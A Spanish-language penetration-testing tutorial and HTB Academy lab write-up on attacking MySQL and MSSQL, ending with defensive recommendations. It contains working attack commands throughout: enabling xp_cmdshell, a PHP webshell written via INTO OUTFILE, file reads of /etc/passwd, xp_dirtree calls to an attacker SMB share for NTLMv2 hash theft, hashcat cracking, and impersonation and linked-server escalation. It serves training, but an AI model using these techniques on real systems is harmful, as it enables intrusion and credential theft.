¿Qué son las bases de datos SQL?
Las bases de datos relacionales como MySQL y Microsoft SQL Server (MSSQL) almacenan información estructurada en tablas, columnas y filas, y se consultan mediante el lenguaje SQL (Structured Query Language). Son el corazón de casi cualquier aplicación: desde un simple blog hasta un sistema bancario.
Aplicación web / Cliente
│
│ consultas SQL (SELECT, INSERT, UPDATE...)
▼
┌─────────────────┐
│ Motor SQL │ ← MSSQL (TCP/1433) o MySQL (TCP/3306)
│ ┌─────────────┐│
│ │ Base datos ││ credenciales, PII, tokens, configs...
│ │ htbusers ││
│ │ ┌────────┐ ││
│ │ │ users │ ││ usuario | contraseña | email...
│ │ └────────┘ ││
│ └─────────────┘│
└─────────────────┘
│
│ si hay privilegios elevados → RCE, lectura de archivos,
│ robo de hashes, movimiento lateral...
▼
Sistema Operativo
| Dato | MSSQL | MySQL |
|---|---|---|
| Puerto por defecto | TCP/1433 (UDP/1434) | TCP/3306 |
| Puerto oculto | TCP/2433 | — |
| Autenticación | Windows Auth / Mixed Mode | Usuario + contraseña |
| Shell integration | xp_cmdshell (RCE directo) |
UDF / INTO OUTFILE |
| Implementación OS | Windows (principalmente) | Linux / Windows |
Las bases de datos son objetivos de altísimo valor: concentran credenciales, PII, tokens de sesión y datos de negocio críticos. Además, suelen correr con cuentas de servicio con privilegios elevados sobre el sistema operativo, lo que convierte el acceso a la BD en una ruta directa hacia el sistema completo.
Introducción
Read / Write DB
Enumerar bases de datos, tablas y extraer datos sensibles: credenciales, tokens y configuraciones.
Remote Code Execution
Ejecutar comandos del sistema operativo desde SQL vía xp_cmdshell (MSSQL) o webshell (MySQL).
Hash Stealing
Forzar autenticación SMB desde el servidor SQL para capturar el hash NTLMv2 de la cuenta de servicio.
Impersonation
Escalar privilegios en MSSQL suplantando usuarios con permisos IMPERSONATE asignados.
Linked Servers
Moverse lateralmente a otros servidores SQL configurados como linked servers con privilegios sysadmin.
Enumeración
El primer paso es identificar el servicio SQL, su versión y extraer toda la información posible del banner:
╰─ nmap -Pn -sV -sC -p1433 10.10.10.125
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 02:09 BST
Nmap scan report for 10.10.10.125
Host is up (0.0099s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: mssql-test
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: mssql-test.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
|_Not valid after: 2051-08-26T01:04:36
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| Flag | Qué hace |
|---|---|
-Pn |
Omite host discovery (útil si el host no responde a pings) |
-sV |
Detecta versión del servicio y lee el banner |
-sC |
Ejecuta scripts NSE: ms-sql-info, ms-sql-ntlm-info |
-p1433 |
Puerto MSSQL (usa -p3306 para MySQL) |
El scan revela información crítica: versión exacta del servidor (SQL Server 2017 RTM), hostname (mssql-test), dominio de Active Directory (HTB.LOCAL) y si el service pack está actualizado. Con la versión conocida, podemos buscar CVEs específicos o confirmar si xp_cmdshell puede estar habilitado.
Si MSSQL opera en modo “oculto” no aparecerá en el puerto 1433 estándar. Prueba también el puerto TCP/2433. Para MySQL, los scripts NSE
mysql-infoymysql-databasespueden revelar la versión y bases de datos accesibles sin credenciales.
Explotación
Read / Write the Database
Antes de explotar cualquier funcionalidad avanzada, necesitamos conectarnos al servidor SQL. Según el sistema operativo del atacante y el tipo de BD, hay varias opciones:
MySQL desde Linux:
╰─ mysql -u julio -pPassword123 -h 10.129.20.13
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)
MySQL [(none)]>
MSSQL desde Windows:
C:\> sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30
1>
MSSQL desde Linux con Impacket:
╰─ mssqlclient.py -p 1433 julio@10.129.203.7
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Password: MyPassword!
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208)
[!] Press help for extra shell commands
SQL>
| Herramienta | Sistema | BD objetivo |
|---|---|---|
mysql |
Linux/Windows | MySQL |
sqlcmd |
Windows | MSSQL |
sqsh -h |
Linux | MSSQL |
mssqlclient.py |
Linux | MSSQL (con soporte Windows Auth) |
Para autenticación Windows en MSSQL desde Linux, especifica el dominio o el hostname:
sqsh -S 10.129.203.7 -U .\julio -P 'MyPassword!' -h. Sin el prefijo.\, la herramienta asumirá SQL Authentication (usuario local de la BD) en lugar de Windows Authentication.
Una vez conectados, el flujo de enumeración de la base de datos es idéntico en concepto para ambos motores:
Listar bases de datos:
# MySQL
mysql> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| htbusers |
+--------------------+
-- MSSQL (requiere GO para ejecutar)
1> SELECT name FROM master.dbo.sysdatabases
2> GO
name
--------------------------------------------------
master
tempdb
model
msdb
htbusers
Seleccionar base de datos y listar tablas:
# MySQL
mysql> USE htbusers;
mysql> SHOW TABLES;
+----------------------------+
| Tables_in_htbusers |
+----------------------------+
| actions |
| permissions |
| roles |
| settings |
| users |
+----------------------------+
Volcar tabla de usuarios:
mysql> SELECT * FROM users;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 4 | tom | tom123! | 2020-07-02 12:23:16 |
+----+---------------+------------+---------------------+
Las bases de datos del sistema (
information_schema,master,msdb, etc.) no contienen datos de la empresa, pero son esenciales para la enumeración. Úsalas para mapear qué bases de datos existen antes de atacar las que sí contienen información sensible.
Remote Code Execution
Tener acceso a la base de datos con privilegios elevados puede traducirse directamente en ejecución de comandos en el sistema operativo. La vía varía según el motor:
MSSQL — xp_cmdshell
xp_cmdshell es un stored procedure extendido de MSSQL que ejecuta comandos de shell del sistema operativo directamente desde SQL. El proceso hijo hereda los permisos de la cuenta de servicio de SQL Server, que frecuentemente es NT AUTHORITY\SYSTEM o una cuenta de dominio con altos privilegios.
Flujo de xp_cmdshell:
SQL Server ──── xp_cmdshell 'whoami' ────▶ cmd.exe (como la cuenta de servicio)
│
▼ ejecuta el comando
output → devuelto como rows SQL
Si xp_cmdshell está desactivado (por defecto desde SQL Server 2005), podemos habilitarlo si tenemos privilegios de sysadmin:
-- Habilitar opciones avanzadas
1> EXECUTE sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
-- Habilitar xp_cmdshell
5> EXECUTE sp_configure 'xp_cmdshell', 1
6> GO
7> RECONFIGURE
8> GO
Una vez habilitado, la ejecución de comandos es directa:
1> xp_cmdshell 'whoami'
2> GO
output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)
xp_cmdshellhabilitado es una señal de alarma inmediata en cualquier auditoría de seguridad. Un equipo de Blue Team con monitoreo básico detectará su activación en los logs de eventos de Windows. En entornos con EDR activo, el proceso hijo decmd.exelanzado porsqlservr.exegenerará una alerta casi instantánea.
MySQL — Webshell vía SELECT INTO OUTFILE
MySQL no tiene un equivalente directo a xp_cmdshell, pero si el servidor MySQL corre sobre un servidor web con PHP, podemos escribir una webshell directamente en el document root:
# Verificar que secure_file_priv esté vacío (sin restricciones de escritura)
mysql> SHOW VARIABLES LIKE "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
# Si está vacío → podemos escribir donde el proceso tenga permisos
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
Query OK, 1 row affected (0.001 sec)
| Parte | Qué hace |
|---|---|
SELECT "..." |
Contenido a escribir (la webshell PHP) |
INTO OUTFILE |
Dirige la salida a un archivo en el sistema |
'/var/www/html/webshell.php' |
Ruta destino dentro del document root del servidor web |
Después de ejecutar el query, accedemos a la webshell desde el navegador:
http://10.129.20.13/webshell.php?c=whoami
→ www-data
Esta técnica requiere tres condiciones simultáneas: el usuario SQL tiene privilegio
FILE,secure_file_privestá vacío o apunta al document root, y el servidor web ejecuta PHP desde ese directorio. Las tres juntas son más comunes de lo que parece en entornos de desarrollo o staging.
Leer archivos locales
Ambos motores permiten leer archivos del sistema si el usuario tiene los permisos adecuados:
-- MSSQL: leer cualquier archivo con OPENROWSET
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO
BulkColumn
-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# MySQL: LOAD_FILE() para leer archivos del sistema
mysql> SELECT LOAD_FILE("/etc/passwd");
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
Hash Stealing con xp_dirtree
Esta es una de las técnicas más elegantes contra MSSQL: forzar al servidor a autenticarse contra un recurso SMB bajo nuestro control para capturar el hash NTLMv2 de la cuenta de servicio de SQL Server.
Flujo del ataque:
────────────────────────────────────────────────────────
ATACANTE SERVIDOR MSSQL
│ │
│ 1. levantamos Responder/smbserver │
│ (escuchando en TCP/445) │
│ │
│ 2. ejecutamos en MSSQL: │
│ xp_dirtree '\10.10.110.17\share\'
│ │──────────▶│
│ │ MSSQL intenta
│ │ listar el share SMB
│ │ → necesita autenticarse
│ │
│◀────── NTLMv2 hash de la cuenta de servicio ───────│
│
│ 3. crackeamos el hash offline con hashcat
│ o lo retransmitimos a otro host (NTLM relay)
Opción A — Captura con Responder:
╰─ sudo responder -I tun0
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.110.17
[SMB] NTLMv2-SSP Username : SRVMSSQL\demouser
[SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:...
-- Query que dispara la autenticación SMB forzada
1> EXEC master..xp_dirtree '\10.10.110.17\share\'
2> GO
subdirectory depth
--------------- -----------
-- Alternativa con xp_subdirs
1> EXEC master..xp_subdirs '\10.10.110.17\share\'
2> GO
Opción B — Captura con impacket-smbserver:
╰─ sudo impacket-smbserver share ./ -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Incoming connection (10.129.203.7,49728)
[*] AUTHENTICATE_MESSAGE (WINSRV02\mssqlsvc,WINSRV02)
[*] User WINSRV02\mssqlsvc authenticated successfully
[*] demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:...
[*] Closing down connection (10.129.203.7,49728)
| Flag | Qué hace |
|---|---|
share |
Nombre del share SMB que exponemos |
./ |
Directorio local que sirve el share |
-smb2support |
Habilita soporte SMBv2 para mayor compatibilidad |
La diferencia entre Responder e impacket-smbserver es que Responder también envenena LLMNR/NBT-NS (útil para captura pasiva en la red), mientras que impacket-smbserver es solo un servidor SMB. Para este ataque específico, cualquiera de los dos funciona igual.
Con el hash capturado, podemos crackearlo con hashcat -m 5600 o retransmitirlo con impacket-ntlmrelayx hacia otro host de la red donde la cuenta tenga acceso de administrador local.
Impersonation en MSSQL
MSSQL tiene un permiso especial llamado IMPERSONATE que permite a un usuario tomar temporalmente los permisos de otro login. Si nuestro usuario actual no tiene privilegios de sysadmin pero tiene IMPERSONATE sobre una cuenta que sí los tiene, podemos escalar:
Escenario:
julio (nosotros) → IS_SRVROLEMEMBER('sysadmin') = 0 (no sysadmin)
sa → sysadmin ✓
julio tiene IMPERSONATE sobre 'sa'
→ julio puede "convertirse" en sa temporalmente
Paso 1 — Identificar qué usuarios podemos impersonar:
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
name
-----------------------------------------------
sa
ben
valentin
(3 rows affected)
Paso 2 — Verificar nuestro rol actual:
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> GO
-----------
julio
(1 rows affected)
-----------
0
(1 rows affected)
El valor 0 confirma que no somos sysadmin. Pero podemos impersonar a sa:
Paso 3 — Impersonar al usuario sa:
1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
-----------
sa
(1 rows affected)
-----------
1
(1 rows affected)
El valor 1 confirma que ahora somos sysadmin. Podemos ejecutar xp_cmdshell, leer archivos del sistema, o realizar cualquier operación privilegiada. Para revertir la suplantación y volver al usuario original:
1> REVERT
2> GO
Ejecuta
EXECUTE AS LOGINsiempre desde la base de datosmaster. Si el usuario que intentas impersonar no tiene acceso a la BD actual, recibirás un error. Cambia de contexto conUSE masterantes de intentarlo.
Linked Servers (Movimiento Lateral)
MSSQL soporta la configuración de linked servers: conexiones preconfiguradas hacia otras instancias SQL (o bases de datos Oracle, etc.). Si el linked server se configuró con credenciales que tienen privilegios de sysadmin en el servidor remoto, podemos ejecutar queries allí directamente.
Red corporativa:
SERVIDOR A (comprometido) SERVIDOR B (linked server)
SQL Server 2019 SQL Server 2019
julio → sysadmin local sa_remote → sysadmin
│ │
│ EXECUTE('query') AT [10.0.0.12] │
└──────────────────────────────────▶│
│ ejecuta el query
│ con privilegios sa_remote
└──▶ xp_cmdshell → SYSTEM
Paso 1 — Identificar linked servers:
1> SELECT srvname, isremote FROM sysservers
2> GO
srvname isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS 1
10.0.0.12\SQLEXPRESS 0
(2 rows affected)
Valor isremote |
Significado |
|---|---|
1 |
Servidor remoto (conexión saliente) |
0 |
Linked server (configurado explícitamente) |
Paso 2 — Ejecutar queries en el linked server:
1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO
------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS Microsoft SQL Server 2019 (RTM) sa_remote 1
(1 rows affected)
El resultado confirma que en el servidor remoto 10.0.0.12 la conexión corre como sa_remote con rol sysadmin. Desde aquí podemos habilitar xp_cmdshell en el servidor remoto y obtener ejecución de comandos en ese host sin haberlo comprometido directamente.
Para usar comillas simples dentro de un query pasado a un linked server, duplícalas:
''sysadmin''. Para ejecutar múltiples statements en una sola llamada, sepáralos con;.
Resumen
Los cinco vectores forman una cadena de escalada progresiva desde el acceso inicial hasta el compromiso del dominio:
1. ENUMERACIÓN
nmap -sC -sV -p1433/3306 → versión, hostname, dominio AD
↓
2. LECTURA DE DATOS (sin privilegios especiales)
mysql / sqlcmd / mssqlclient.py → SHOW DATABASES → SELECT * FROM users
↓
3. RCE (con privilegios elevados)
MSSQL → xp_cmdshell → SYSTEM shell
MySQL → SELECT INTO OUTFILE → webshell PHP → RCE como www-data
↓
4. HASH STEALING (desde cualquier acceso a MSSQL)
xp_dirtree / xp_subdirs → Responder / smbserver → NTLMv2 hash
→ hashcat o NTLM relay hacia otro host
↓
5. ESCALADA INTERNA (si no hay sysadmin directo)
IMPERSONATE → sa → sysadmin → xp_cmdshell
Linked Servers → sysadmin remoto → RCE en otro host
| Técnica | Motor | Requisito | Impacto | Ruido |
|---|---|---|---|---|
| Leer BD | MySQL / MSSQL | Cualquier acceso | Exfiltración de datos | Bajo |
| xp_cmdshell | MSSQL | sysadmin | RCE como cuenta de servicio | Alto |
| Webshell (OUTFILE) | MySQL | FILE privilege + web server PHP | RCE como www-data | Medio |
| Hash Stealing | MSSQL | Cualquier acceso + red visible | Hash NTLMv2 de cuenta de servicio | Bajo |
| Impersonation | MSSQL | Permiso IMPERSONATE | Escalada a sysadmin | Bajo |
| Linked Servers | MSSQL | Acceso al servidor origen | Movimiento lateral con sysadmin | Bajo |
Laboratorio HTB Academy: Attacking SQL Databases
Pregunta 1: ¿Cuál es la contraseña para el usuario “mssqlsvc”?
El objetivo tenía MSSQL expuesto en el puerto estándar. Comenzamos con un scan para confirmar el servicio y extraer información del banner:
sudo nmap -sCV -p- -Pn -n --min-rate=5000 10.129.203.12

Con el servicio confirmado, nos conectamos usando las credenciales proporcionadas por el laboratorio mediante impacket-mssqlserver:
impacket-mssqlclient htbuser@10.129.203.12

Lo primero tras conectarse es saber exactamente qué somos dentro del servidor SQL:
SQL> SELECT SYSTEM_USER;
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');

El 0 confirma que htbdbuser no es sysadmin. El acceso está limitado. El siguiente paso natural es verificar si tenemos el permiso IMPERSONATE sobre algún usuario con más privilegios:
SQL> SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

Se nos muestra un servidor linkeado que tenemos acceso. Sin embargo, esto no es así, está bloqueado deliberadamente en este laboratorio. Descartamos la escalada de privilegios por impersonation y el movimiento lateral por servidores vinculados (Linked Servers)
Que un linked server aparezca en
sysserversno garantiza que sea alcanzable. Las reglas de firewall o una instancia apagada pueden hacer que el entry exista pero la conexión falle. Siempre intenta ejecutar un query antes de asumir que el vector es viable.
Con los vectores de escalada interna bloqueados, el siguiente camino es forzar al servidor a autenticarse contra un recurso SMB bajo nuestro control para capturar el hash NTLMv2 de la cuenta de servicio de SQL Server.
Flujo del ataque:
─────────────────────────────────────────────────────────
ATACANTE (10.10.14.250) SERVIDOR MSSQL
│ │
│ 1. Levantamos Responder │
│ escuchando en TCP/445 │
│ │
│ 2. Ejecutamos xp_dirtree ───────▶│
│ apuntando a nuestro IP │ MSSQL procesa la solicitud
│ │ → necesita autenticarse
│ │ con la cuenta de servicio
│◀────── NTLMv2 hash (mssqlsvc) ───│
│
│ 3. Crackeamos offline con hashcat
Primero levantamos Responder en nuestra maquina atacante (En la consola de linux) para capturar la autenticación entrante:
sudo responder -I tun0
Luego, desde la sesión MSSQL activa, ejecutamos el stored procedure que fuerza la conexión SMB hacia nuestra máquina:
EXEC master..xp_dirtree '\<LA-IP-DE-TUN0>\share\' ;

El servidor intenta listar el share, Windows inicia la autenticación NTLM automáticamente usando la cuenta de servicio de SQL Server, y Responder captura el challenge-response completo.
Con el hash guardado en hash.txt, procedemos a crackearlo offline.
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
mssqlsvc::WIN-02:[HASH_CENSURADO]:[CONTRASEÑA_CENSURADA]
Session..........: hashcat
Status...........: Cracked
🚩 Flag 1:
[CENSURADO]
Pregunta 2: Enumera la base de datos “flagDB” y envía una bandera como respuesta.
Nos reconectamos al servidor SQL usando las credenciales de la cuenta de servicio:
╰─ mssqlclient.py mssqlsvc@10.129.203.12 -windows-auth
Password: <CONTRASEÑA_CENSURADA>
SQL>
Verificamos privilegios inmediatamente:
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
1
El 1 confirma que mssqlsvc es sysadmin. Esto explica por qué htbdbuser no podía acceder a flagDB: la base de datos tiene restricciones que solo sysadmin puede superar.
Navegamos a la base de datos objetivo y enumeramos su estructura:
SQL> USE flagDB;
SQL> SELECT name FROM sys.tables;
SQL> SELECT * FROM tb_flag;

🚩 Flag 2:
[CENSURADO]
Vulnerabilidades recientes de SQL
Las vulnerabilidades en bases de datos SQL han evolucionado desde los ataques directos a errores en la implementación del motor hacia el abuso de funcionalidades legítimas que producen efectos no intencionados. El ejemplo más representativo en MSSQL es el uso de xp_dirtree para robar hashes NTLMv2.
xp_dirtree — Hash Stealing sin CVE
Esta no es una vulnerabilidad con CVE asignado ni requiere un exploit: es el abuso de una funcionalidad legítima de MSSQL que, combinada con el mecanismo de autenticación NTLM de Windows, produce la captura del hash de la cuenta de servicio del servidor SQL.
Lo que hace a esta técnica especialmente peligrosa es que puede ejecutarse desde una aplicación web vulnerable a SQL injection, no solo desde acceso directo al servidor. Si una webapp tiene SQLi y el backend es MSSQL, un atacante externo puede forzar el hash stealing sin acceso de red directo al servidor SQL.
La contramedida principal es restringir las conexiones SMB salientes del servidor SQL mediante firewall (bloquear TCP/445 saliente desde el servidor de BD). Si el servidor no puede llegar a hosts externos por SMB, el hash stealing es imposible, sin importar qué queries se ejecuten.
Conclusión
Las bases de datos SQL son objetivos de máxima prioridad en cualquier evaluación de seguridad. No solo almacenan los datos más valiosos de una organización, sino que sus capacidades nativas — stored procedures, acceso al sistema de archivos, comunicación con otros servidores — las convierten en una plataforma de movimiento lateral y escalada de privilegios extremadamente potente.
La particularidad de MSSQL en entornos de Active Directory es que sus funcionalidades de integración con Windows (xp_cmdshell, xp_dirtree, autenticación Windows, linked servers) crean un puente directo entre el nivel de base de datos y el nivel de sistema operativo y red. Un acceso que parece limitado a “leer tablas” puede convertirse en compromiso de dominio si los linked servers están mal configurados o si la cuenta de servicio tiene privilegios excesivos.
Desde el punto de vista defensivo: principio de mínimo privilegio en las cuentas de servicio SQL, deshabilitar xp_cmdshell y Ole Automation Procedures si no son estrictamente necesarios, bloquear SMB saliente desde los servidores de base de datos, y auditar regularmente los permisos IMPERSONATE y la configuración de linked servers.





